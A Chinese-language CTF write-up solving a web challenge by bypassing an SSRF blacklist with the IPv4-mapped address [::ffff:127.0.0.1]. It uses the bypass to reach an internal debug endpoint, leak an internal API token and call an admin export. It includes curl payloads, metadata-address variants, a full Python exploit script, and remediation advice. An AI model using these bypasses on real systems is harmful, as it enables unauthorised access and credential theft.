| 项目 | 内容 |
|---|---|
| 分类 / 难度 | Web / Medium |
| 类型 | SSRF(IPv6 映射地址绕过黑名单)+ 内网凭证泄露 |
| 登录 | 演示账号由赛事平台提供(analyst / analyst123) |
| 目标 | 借服务端预览功能访问仅监听在 127.0.0.1:9000 的内部调试端点,拿到内部 API 令牌,再调用 /api/admin/export |
1. 界面观察
调度台首页是一个值班面板:事故队列、值班表、以及一个"链接预览"功能(值班人贴一条外部状态页链接,服务端抓取后回显内容)。功能面上看很普通,但它意味着服务端会按我们给的 URL 发起请求。
从 Network 面板能看到:
POST /api/login 登录
GET /api/preview?url=... 链接预览(服务端 fetch)
GET /api/tickets 我的值班工单
GET /api/admin/export 管理导出(要求 X-Internal-Token)
容器内还起了第二个进程,只监听回环:
$ netstat -lntp
tcp 0 0 127.0.0.1:9000 0.0.0.0:* LISTEN 7/php
tcp 0 0 0.0.0.0:8080 0.0.0.0:* LISTEN 8/php
9000 端口就是题目里那个"内部服务",外网进不来,但预览功能所在的进程可以访问到。
2. 第一层:命中 SSRF 黑名单
先按最直觉的写法试:
curl 'http://target/api/preview?url=http://127.0.0.1:9000/debug/config'
{"ok":false,"error":"目标已拦截"}
localhost 也一样被拦。说明题目里有 host_is_blocked() 这类逻辑,命中回环/内网地址就拒绝。
看返回码是 400,说明拦截发生在发请求之前,靠的是对 host 字符串的解析判断。
3. 绕过:IPv6 映射地址
PHP 里 parse_url() 遇到 [::ffff:127.0.0.1] 会把 host 解析成带方括号的 IPv6 字面量。如果题目代码对"带方括号"的分支只做 IPv6 段判断,就会出现盲区。
关键点在于:::ffff:127.0.0.1 是 IPv6 里的 IPv4 映射地址,语义上等价于 127.0.0.1,但它的首字节是 0x00,不会命中 ::1、fe80::、fc00:: 这些常见的 IPv6 内网段判断:
curl 'http://target/api/preview?url=http://[::ffff:127.0.0.1]:9000/debug/config'
{
"ok": true,
"status": 200,
"body": "{\n \"service\": \"deployment-debug\",\n \"environment\": \"production\",\n \"internal_api\": \"http://127.0.0.1:8080/api/admin/export\",\n \"headers\": {\n \"X-Internal-Token\": \"YQHL-INTERNAL-2026\"\n },\n \"note\": \"该调试端点仅供本地维护使用。\"\n}"
}
一次就穿过去了。内部调试端点把内部 API 地址和内部认证头都写在了响应体里。
4. 第二层:用泄露的令牌调用管理导出
curl 'http://target/api/admin/export'
# {"error":"未授权"}
curl -H 'X-Internal-Token: YQHL-INTERNAL-2026' 'http://target/api/admin/export'
{
"status": "ok",
"export": {
"service": "deployment-export",
"flag": "flag{local_verify_w02}"
}
}
5. 完整利用脚本
import json, urllib.request, urllib.parse
BASE = "http://target"
def get(path, hdr=None):
h = {"Accept": "application/json"}
if hdr:
h.update(hdr)
req = urllib.request.Request(BASE + path, headers=h)
try:
with urllib.request.urlopen(req, timeout=15) as r:
return r.status, r.read().decode()
except urllib.error.HTTPError as e:
return e.code, e.read().decode()
# 1) SSRF:IPv6 映射地址绕过回环黑名单
u = "http://[::ffff:127.0.0.1]:9000/debug/config"
st, b = get("/api/preview?url=" + urllib.parse.quote(u, safe=""))
inner = json.loads(json.loads(b)["body"])
token = inner["headers"]["X-Internal-Token"]
print("[token]", token)
# 2) 带内部令牌取导出内容
st, b = get("/api/admin/export", {"X-Internal-Token": token})
print("[export]", st, b)
6. 漏洞成因与修复
成因
/api/preview把用户可控 URL 直接交给服务端 HTTP 客户端,未做目标地址的白名单校验。- 黑名单的 IPv6 判断只覆盖了几个常见内网段,漏掉
::ffff:0:0/96(IPv4 映射)。除[::ffff:127.0.0.1]外,同类写法还有[::ffff:169.254.169.254]、[::ffff:10.0.0.1]等,都能绕过。 - 内网调试端点返回了可直接使用的认证凭据,把一个"信息泄露"直接升级成了"权限绕过"。
- 内部接口与对外接口共用同一进程/同一套监听,唯一屏障就是一个静态请求头。
修复建议
- 预览目标先做 DNS 解析,拿到
A/AAAA真实 IP 后按内网段拒绝,并对::ffff:a.b.c.d显式拆出内嵌 IPv4 再判一次; - 给 HTTP 客户端设置不允许访问回环/链路本地/私网的自定义
dialer,禁止跟随重定向到内网(防 DNS rebinding 与 302 绕过); - 内部端点不要回显认证凭据,改由服务端自己持有密钥;
- 把内部服务从对外应用进程里拆出去,走独立 mTLS 或 Unix socket,而不是靠一个固定头。
7. 小结
这题的两跳是典型的"SSRF 打不穿就多试几种 IP 写法"。127.0.0.1 和 localhost 都被拦,试到 [::ffff:127.0.0.1](IPv4-mapped IPv6)才通——这类写法之所以有用,是因为校验通常只对字符串做前缀/正则匹配,而内核在连接时会把映射地址还原成 127.0.0.1。拿到 token 之后剩下的事情就是普通的越权调用。
Flag:flag{local_verify_w02}